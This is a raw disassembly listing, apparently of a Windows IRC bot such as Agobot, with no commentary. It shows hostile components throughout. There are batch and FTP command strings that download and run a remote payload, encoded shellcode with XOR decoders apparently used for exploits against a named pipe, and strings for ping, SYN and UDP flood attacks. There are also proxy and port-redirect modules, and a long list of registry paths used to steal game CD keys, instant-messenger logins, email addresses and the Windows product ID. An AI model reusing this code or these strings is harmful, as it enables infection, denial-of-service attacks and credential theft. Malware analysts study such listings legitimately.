aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
align 10h
aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
dd 0
aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
align 10h
dd 0
aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
align 4
dd 0
aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
align 8
aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
align 10h
aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
align 4
dd 0
aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
align 8
aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
align 10h
dd 0
aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
align 10h
dword_446900 dd 6EB06EBh align 8
dword_446908 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o
dword_446914 dd 1CEC8166h dword_446918 dd 0E4FF07h align 10h
dword_446920 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44696C dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
dd 1, 2 dup(0)
dword_44699C dd 0FAh, 2, 0 dd 2, 0
dd 0FAh, 2 dup(0)
dword_4469BC dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh
; ---------------------------------------------------------------------------
loc_4469C6: ; CODE XREF: ___:004469D0j
xor dword ptr [ebx+13h], 889097A8h
sub ebx, 0FFFFFFFCh
loop loc_4469C6
sub [ebx+6Fh], edx
db 67h
push edi
push 7CC274D4h
frstor byte ptr [eax+51h]
push 1CC8776Fh
cld
lodsb
mov word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
db 0F0h, 0A9h, 78h
dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh
dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h
dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h
dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h
dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h
dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
; DATA XREF: sub_426070+D6o
db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
align 4
dd 6 dup(0)
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
align 8
word_446C28 dw 2EBh ; DATA XREF: ___:00426331r
align 4
dword_446C2C dd 215h dd 0
dword_446C34 dd 20804h dd 0
; ---------------------------------------------------------------------------
loc_446C3C: ; DATA XREF: sub_4267D0+CCo
jmp short loc_446C40
; ---------------------------------------------------------------------------
loc_446C3E: ; CODE XREF: ___:loc_446C40p
jmp short loc_446C45
; ---------------------------------------------------------------------------
loc_446C40: ; CODE XREF: ___:loc_446C3Cj
call loc_446C3E
loc_446C45: ; CODE XREF: ___:loc_446C3Ej
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_446C4A dw 0FFFFh ; DATA XREF: sub_4267D0+D3w
db 80h, 73h, 0Eh
byte_446C4F db 0FFh ; DATA XREF: sub_4267D0+DAw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_446C54: ; DATA XREF: sub_4267D0+A7o
jmp short loc_446C58
; ---------------------------------------------------------------------------
loc_446C56: ; CODE XREF: ___:loc_446C58p
jmp short loc_446C5D
; ---------------------------------------------------------------------------
loc_446C58: ; CODE XREF: ___:loc_446C54j
call loc_446C56
loc_446C5D: ; CODE XREF: ___:loc_446C56j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_446C61 db 0FFh ; DATA XREF: sub_4267D0+AEw
dw 7380h
db 0Ch
byte_446C65 db 0FFh ; DATA XREF: sub_4267D0+B4w
dw 0E243h
dd 0F9h
dword_446C6C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_426560+43o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CD0 dd 12h dd 70746674h, 6578652Eh, 20692D20h
dword_446CE0 dd 74656720h byte_446CE4 db 20h ; DATA XREF: sub_426560+A2r
dword_446CE5 dd 0E8006A00h dword_446CE9 dd 17h ; sub_426560+D2r
dword_446CED dd 0E8C30175h dword_446CF1 dd 1 ; sub_426560+E7r
byte_446CF5 db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o
dd 7E8h
db 0, 0Fh, 84h
dword_446CFF dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; free
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
dd 0Ch dup(0)
aPing db 'ping',0 ; DATA XREF: sub_427740+22o
align 4
aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
; DATA XREF: sub_427990+D0o
align 4
dd 2 dup(0)
aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
align 10h
dd 2 dup(0)
aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
align 4
dd 0
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427B10+38o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427B10+2Bo
align 10h
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427B10+23o
align 10h
dd 0
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_427B10+Co
align 10h
aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o
align 4
aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
align 10h
dd 0
aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
align 10h
dd 0
aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
align 10h
aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o
aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
align 10h
aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
align 4
dd 0
aUdp db 'udp',0 ; DATA XREF: sub_428880+22o
aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o
align 10h
dd 0
aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
align 10h
dd 0
off_446F04 dd offset byte_455247 ; DATA XREF: sub_4290B0+22o
aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_429330+AAo
dd 3 dup(0)
aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_429330+33o
align 4
dd 3 dup(0)
aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Connection to %s:%d has failed',0Ah,0
align 4
dd 7 dup(0)
aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Error Resolving %s',0Ah,0
align 10h
dd 6 dup(0)
aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
db 0Dh,0Ah,0
dd 2 dup(0)
aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
; ___:0042A147o
align 10h
aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
; ___:0042A129o
align 10h
aConnection db 'Connection:',0 ; DATA XREF: ___:00429F54o
align 10h
aChunked db 'chunked',0 ; DATA XREF: ___:00429F11o
dd 0
aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
align 10h
dd 0
aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429E2Do
align 8
aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C8Eo
db 'Connection: close',0Dh,0Ah
db '%s',0
align 10h
aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C59o
db 'Connection: Keep-Alive',0Dh,0Ah
db '%s',0
align 4
dd 0
aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429B5Bo
; ___:00429FA0o
align 4
dd 0
aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
align 10h
dd 0
asc_4471F4 db 0Dh,0Ah,0 ; DATA XREF: ___:00429A1Co
; ___:00429ADCo ...
align 4
aHttprox db 'HTTPROX',0 ; DATA XREF: ___:004299E7o
dd 0
aConnect db 'connect',0 ; DATA XREF: ___:004297B2o
align 10h
aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:0042977Do
dd 0
off_44721C dd offset byte_544547 ; DATA XREF: ___:004296B8o
aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42ACB0+22o
align 4
aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
align 10h
aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
dd 2 dup(0)
aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
dd 2 dup(0)
aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o
; sub_42B380+22o
align 4
aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
align 4
dd 0
aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
align 4
dd 2 dup(0)
dword_4472FC dd 1000005h, 0 dword_447304 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0
; DATA XREF: sub_42CB70+20Fo
align 10h
dd 3 dup(0)
aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
; DATA XREF: sub_42CB70+3Fo
align 10h
aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
; DATA XREF: ___:0042D725o
dd 3 dup(0)
aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o
align 4
dd offset aWoot ; "Woot"
aWoot db 'Woot',0 ; DATA XREF: ___:004473CCo
align 4
aNetworkFailedT db 'Network failed to start: %d',0Ah,0
align 4
dd 0
aCalloc db 'calloc',0
align 4
aSetsockopt db 'setsockopt',0
align 10h
dd 0
aSocket db 'socket',0
align 4
aGethostbyname db 'gethostbyname',0
align 4
aGetservbyname db 'getservbyname',0
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o
; sub_42DB00:loc_42DBBDo
aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
align 10h
aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o
dd 0
aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do
align 10h
aWrite db 'write',0
align 4
aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
align 8
dword_4474A8 dd 524F5453h byte_4474AC db 0 ; DATA XREF: sub_42E5B0+EDr
align 10h
dword_4474B0 dd 52544552h byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+D3r
align 4
dword_4474B8 dd 5453494Ch byte_4474BC db 0 ; DATA XREF: sub_42E5B0+B8r
align 10h
dword_4474C0 dd 54534C4Eh byte_4474C4 db 0 ; DATA XREF: sub_42E5B0+9Er
align 4
dword_4474C8 dd 45505954h, 632520h, 0 ; ___:0042F9BAo
aMissingPathArg db 'Missing path argument for file transfer',0Ah,0
; DATA XREF: sub_42E5B0+2Do
align 10h
dd 2 dup(0)
aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0
align 10h
dd 0
aListen db 'listen',0
align 4
aBind db 'bind',0
align 4
aGetsockname db 'getsockname',0
dd 0
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
align 4
dd 0
aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o
align 4
aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
align 4
aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
align 10h
dd 0
aTimedOutWaitin db 'timed out waiting for connection',0
align 4
dd 0
aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0
align 4
dd 2 dup(0)
aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
align 4
dd 2 dup(0)
aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
align 4
dd 2 dup(0)
aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo
align 8
aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do
align 10h
aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042F4BEo
align 4
aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo
align 10h
aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o
align 4
aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo
align 10h
off_447680 dd offset aSendtoSocketFa+20h ; DATA XREF: ___:0042F64Do
aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o
align 8
aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
align 10h
word_4476C0 dw 77h ; DATA XREF: sub_42F6F0+1Fr
align 4
dword_4476C4 dd 25206425h, 64hdword_4476CC dd 455A4953h, 732520h, 0dword_4476D8 dd 4D54444Dh, 732520h, 0dword_4476E4 dd 4F544E52h, 732520h, 0dword_4476F0 dd 52464E52h, 732520h, 0dword_4476FC dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o
align 10h
dword_447710 dd 1 ; sub_431750+1Fw ...
aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
align 10h
dd 0
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o
align 4
aA: ; DATA XREF: sub_434D10+36o
unicode 0, <─>,0
dd 12h dup(0)
dd offset aBattlefield194 ; "[Battlefield 1942: "
dd 80000002h, 448864h, 448F40h, 448830h, 80000002h, 4487D0h
dd 448F40h, 4487A0h, 80000002h, 448748h, 448F40h, 448724h
dd 80000002h, 4486DCh, 448F40h, 4486C4h, 80000002h, 448680h
dd 448F40h, 448658h, 80000002h, 44861Ch, 448F40h, 4485E8h
dd 80000002h, 448588h, 448F40h, 44855Ch, 80000002h, 448538h
dd 448530h, 448504h, 80000002h, 4484DCh, 448530h, 4484C4h
dd 80000001h, 448494h, 448490h, 448480h, 80000002h, 448444h
dd 448F40h, 448434h, 80000002h, 4483F8h, 448F40h, 4483E4h
dd 80000002h, 44839Ch, 448F40h, 448380h, 80000002h, 44833Ch
dd 448F40h, 448320h, 80000001h, 4482F8h, 448490h, 4482E8h
dd 80000001h, 4482C0h, 448490h, 4482A0h, 80000002h, 448264h
dd 448260h, 448244h, 80000002h, 448220h, 448218h, 448200h
dd 80000001h, 4481D4h, 4481CCh, 4481A8h, 80000002h, 44815Ch
dd 448F40h, 448134h, 80000002h, 4480E0h, 448F40h, 4480A8h
dd 80000002h, 448044h, 448F40h, 448010h, 80000002h, 447FB0h
dd 448F40h, 447F94h, 80000002h, 447F4Ch, 448F40h, 447F30h
dd 80000002h, 447EE8h, 448F40h, 447ED8h, 80000002h, 447E9Ch
dd 448F40h, 447E8Ch, 80000002h, 447E50h, 448F40h, 447E28h
dd 80000002h, 447DD4h, 448F40h, 447DACh, 80000002h, 447D5Ch
dd 448F40h, 447D40h, 80000002h, 447D18h, 448490h, 447D04h
dd 80000002h, 447CCCh, 448F40h, 447C9Ch, 80000002h, 447C44h
dd 448F40h, 447C28h, 80000001h, 447BD8h, 447BD0h, 447BB4h
dd 80000002h, 447B70h, 447B64h, 447B4Ch, 80000001h, 447B1Ch
dd 447B10h, 447AF0h, 80000002h, 447AB4h, 447BD0h, 447A94h
dd 80000002h, 447A58h, 447BD0h, 1Eh dup(0)
aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
align 4
dd 2 dup(0)
aUnrealTourname db '[Unreal Tournament 2004: ',0
align 10h
dd 0
aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
align 10h
aUnrealTourna_0 db '[Unreal Tournament 2003: ',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
dd 2 dup(0)
aTheGladiators db '[The Gladiators: ',0
align 10h
dd 0
aSof2key db 'sof2key',0
align 10h
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
dd 2 dup(0)
aSoldierOfFortu db '[Soldier Of Fortune 2: ',0
align 10h
aCdkey db 'CDKey',0
align 4
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
dd 3 dup(0)
aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0
align 10h
dd 0
aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 10h
dd 3 dup(0)
aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0
align 4
dd 2 dup(0)
aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
align 4
dd 2 dup(0)
dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aNeverwinterNig db '[Neverwinter Nights: ',0
align 4
dd 0
aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 10h
dd 3 dup(0)
aNeedForSpeedUn db '[Need For Speed: Underground: ',0
align 4
dd 2 dup(0)
aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
db 'gc',0
dd 4 dup(0)
aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0
align 10h
aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing20 db '[Nascar Racing 2003: ',0
align 4
dd 0
aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
dd 3 dup(0)
aNascarRacing_0 db '[Nascar Racing 2002: ',0
align 10h
aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 10h
dd 4 dup(0)
aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0
dd 2 dup(0)
aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
dd 4 dup(0)
aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0
align 10h
aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 4
dd 3 dup(0)
aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0
align 4
dd 0
aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
dd 3 dup(0)
aJamesBond007Ni db '[James Bond 007: Nightfire: ',0
align 4
dd 0
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
aIndustryGiant2 db '[Industry Giant 2: ',0
align 8
aCdkey_0 db 'CDkey',0
align 10h
aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0
dd 2 dup(0)
aIgi2CovertStri db '[IGI2: Covert Strike: ',0
align 10h
aKey db 'key',0
aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aHiddenAndDange db '[Hidden and Dangerous 2: ',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 8
aHalfLife db '[Half-Life: ',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aGunmanChronicl db '[Gunman Chronicles: ',0
align 4
dd 0
aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aGlobalOperatio db '[Global Operations: ',0
align 4
dd 0
aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
dd 3 dup(0)
aFreedomForce db '[Freedom Force: ',0
align 4
aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
dd 2 dup(0)
dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aFifa2002 db '[FIFA 2002: ',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0
align 4
dd 2 dup(0)
aCounterStrike db '[Counter-Strike: ',0
align 4
dd 0
aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0
align 4
dd 2 dup(0)
aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0
align 10h
aSerial db 'Serial',0
align 4
aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0
align 4
dd 0
aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0
align 10h
dd 2 dup(0)
aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 4
dd 4 dup(0)
aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0
dd 2 dup(0)
aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
dd 3 dup(0)
aCommandAndCo_2 db '[Command and Conquer: Generals: ',0
align 10h
aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
dd 3 dup(0)
aBlackAndWhite db '[Black and White: ',0
align 4
dd 0
aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
dd 3 dup(0)
aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0
dd 2 dup(0)
aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 10h
aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0
align 10h
aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 10h
dd 4 dup(0)
aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0
dd 2 dup(0)
db 53h
aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
dd 3 dup(0)
aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447790o
align 10h
aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o
align 4
aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o
align 10h
aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
align 4
dd 0
dword_4488FC dd 3A6D6961h, 732520h, 0dword_448908 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
; DATA XREF: ___:0043616Co
db '\Login',0
dd 4 dup(0)
aFoundCodCdkeyS db 'Found COD CDKey (%s).',0
align 4
dd 0
aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0
align 8
aSMainS db '%s\main\%s',0
align 8
aCodkey db 'codkey',0
align 10h
aSoftwareActi_0 db 'Software\Activision\Call of Duty',0
align 8
aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0
align 10h
dd 0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
dd 0
dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath db 'InstallPath',0
dd 0
dword_448A3C dd 3A6E736Dh, 732520h, 0dword_448A48 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
; DATA XREF: ___:00436737o
db 'ice',0
align 4
dd 3 dup(0)
aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
align 10h
aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
align 4
dd 2 dup(0)
aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
align 4
dd 2 dup(0)
aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo
align 4
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
; DATA XREF: sub_4369E0+4FEo
align 4
dd 2 dup(0)
aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o
align 8
aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo
align 4
loc_448B74: ; DATA XREF: sub_4369E0+2D3o
dec eax
dec ebx
inc ebx
inc ebx
cmp ah, [eax]
and eax, 73h
loc_448B7F: ; DATA XREF: sub_4369E0+1EBo
add [eax+4Bh], cl
dec esp
dec ebp
cmp ah, [eax]
and eax, 73h
loc_448B8B: ; DATA XREF: sub_4369E0+103o
add [eax+4Bh], cl
inc ebx
push ebp
cmp ah, [eax]
and eax, 73h
loc_448B97: ; DATA XREF: ___:004371A6o
; ___:00437400o ...
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cx, 0FFFFh
loc_448BA8: ; CODE XREF: ___:00448BADj
